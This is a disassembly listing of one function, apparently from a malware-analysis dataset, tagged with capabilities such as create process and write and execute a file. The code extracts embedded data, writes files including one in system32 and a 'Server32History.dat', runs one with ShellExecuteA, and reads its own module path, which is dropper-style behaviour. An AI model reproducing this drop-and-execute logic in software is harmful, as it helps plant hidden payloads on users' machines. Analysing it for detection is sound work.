Function at 0x401d30
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.004033b0
push ebx
push ebp
mov ebp, dword [esp + 0x101c]
push esi
push edi
mov edi, dword [esp + 0x1020]
push ebp
push edi
push 0x405030
push 0x405010
mov dword [esp + 0x28], 0
call fcn.004011a0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4020ca
mov eax, dword [esi + 0xc8]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [esp + 0x14], eax
mov eax, dword [0x405248]
add esp, 4
test eax, eax
je 0x401de6
push ebp
push edi
push 0
push 0x405030
call fcn.004011a0
mov ebx, eax
add esp, 0x10
test ebx, ebx
jne 0x401daa
mov dword [0x405248], eax
mov ecx, dword [ebx + 0xc8]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
add esp, 4
test edi, edi
mov dword [esp + 0x18], edi
je 0x4020ca
mov ecx, dword [ebx + 0xc8]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov edi, dword [esp + 0x1020]
jmp 0x401dea
mov ebx, dword [esp + 0x18]
push ebp
push edi
push 0x405030
push 0x405020
call fcn.004011a0
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x4020ca
mov eax, dword [ebp + 0xc8]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [esp + 0x14]
add esp, 4
test edi, edi
mov dword [esp + 0x14], eax
je 0x4020ca
test eax, eax
je 0x4020ca
mov ecx, dword [esi + 0xc8]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp + 0xc8]
mov edi, dword [esp + 0x14]
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
lea edx, [esi + 0xcc]
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x10]
mov ecx, dword [esi + 0xc8]
push eax
push ecx
push edx
call fcn.00402ce0
mov eax, dword [esp + 0x20]
mov ecx, dword [ebp + 0xc8]
push eax
lea edx, [ebp + 0xcc]
push ecx
push edx
call fcn.00402ce0
mov eax, dword [0x405248]
add esp, 0x18
test eax, eax
je 0x401eb6
mov eax, dword [esp + 0x18]
mov ecx, dword [ebx + 0xc8]
push eax
lea edx, [ebx + 0xcc]
push ecx
push edx
call fcn.00402ce0
add esp, 0xc
push esi
push 0x405040
lea eax, [esp + 0x824]
push str._s_s
push eax
call sub.MSVCRT.dll_sprintf
lea ecx, [esp + 0x82c]
push 0x4052f4
push ecx
call sub.MSVCRT.dll_fopen
mov edi, eax
add esp, 0x18
test edi, edi
je 0x401f21
mov edx, dword [esi + 0xc8]
mov eax, dword [esp + 0x10]
push edi
push edx
push 1
push eax
call sub.MSVCRT.dll_fwrite
push edi
call sub.MSVCRT.dll_fclose
add esp, 0x14
lea ecx, [esp + 0x81c]
push 0
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [esp + 0x10]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [0x405248]
add esp, 4
test eax, eax
je 0x401fed
push ebx
push str.system32_
lea eax, [esp + 0xc24]
push str._s_s
push eax
call sub.MSVCRT.dll_sprintf
lea ecx, [esp + 0xc2c]
push 0x4052f4
push ecx
call sub.MSVCRT.dll_fopen
mov edi, eax
add esp, 0x18
test edi, edi
je 0x401fe0
mov edx, dword [ebx + 0xc8]
mov eax, dword [esp + 0x18]
push edi
push edx
push 1
push eax
call sub.MSVCRT.dll_fwrite
mov ecx, dword [ebx + 0xc8]
push ebx
mov dword [esp + 0x24], ecx
call fcn.00402560
mov edx, dword [esp + 0x24]
push edi
add edx, 0xdc
lea eax, [ebx - 0x10]
push edx
push 1
push eax
call sub.MSVCRT.dll_fwrite
push ebx
call fcn.00402590
mov ebx, dword [esi + 0xc8]
push esi
call fcn.00402560
add ebx, 0xdc
push edi
push ebx
lea ecx, [esi - 0x10]
push 1
push ecx
call sub.MSVCRT.dll_fwrite
push esi
call fcn.00402590
add esp, 0x40
push edi
call sub.MSVCRT.dll_fclose
add esp, 4
mov edx, dword [esp + 0x18]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea eax, [esp + 0x41c]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40201e
mov ecx, dword [esp + 0x14]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x100c
ret
call fcn.004030f0
push eax
lea edx, [esp + 0x20]
push str._sServer32History.dat
push edx
call sub.MSVCRT.dll_sprintf
lea eax, [esp + 0x28]
push 0x4052f4
push eax
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 0x14
test esi, esi
je 0x402068
mov ecx, dword [ebp + 0xc8]
mov edx, dword [esp + 0x14]
push esi
push ecx
push 1
push edx
call sub.MSVCRT.dll_fwrite
push esi
call sub.MSVCRT.dll_fclose
add esp, 0x14
mov eax, dword [esp + 0x14]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
lea ecx, [esp + 0x420]
push ecx
call fcn.00402e60
mov eax, dword [0x405248]
add esp, 8
test eax, eax
je 0x4020b3
lea edx, [esp + 0xc1c]
lea eax, [esp + 0x1c]
push edx
lea ecx, [esp + 0x420]
push eax
push ecx
call fcn.004020e0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x100c
ret
lea edx, [esp + 0x1c]
push 0
lea eax, [esp + 0x420]
push edx
push eax
call fcn.004020e0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x100c
ret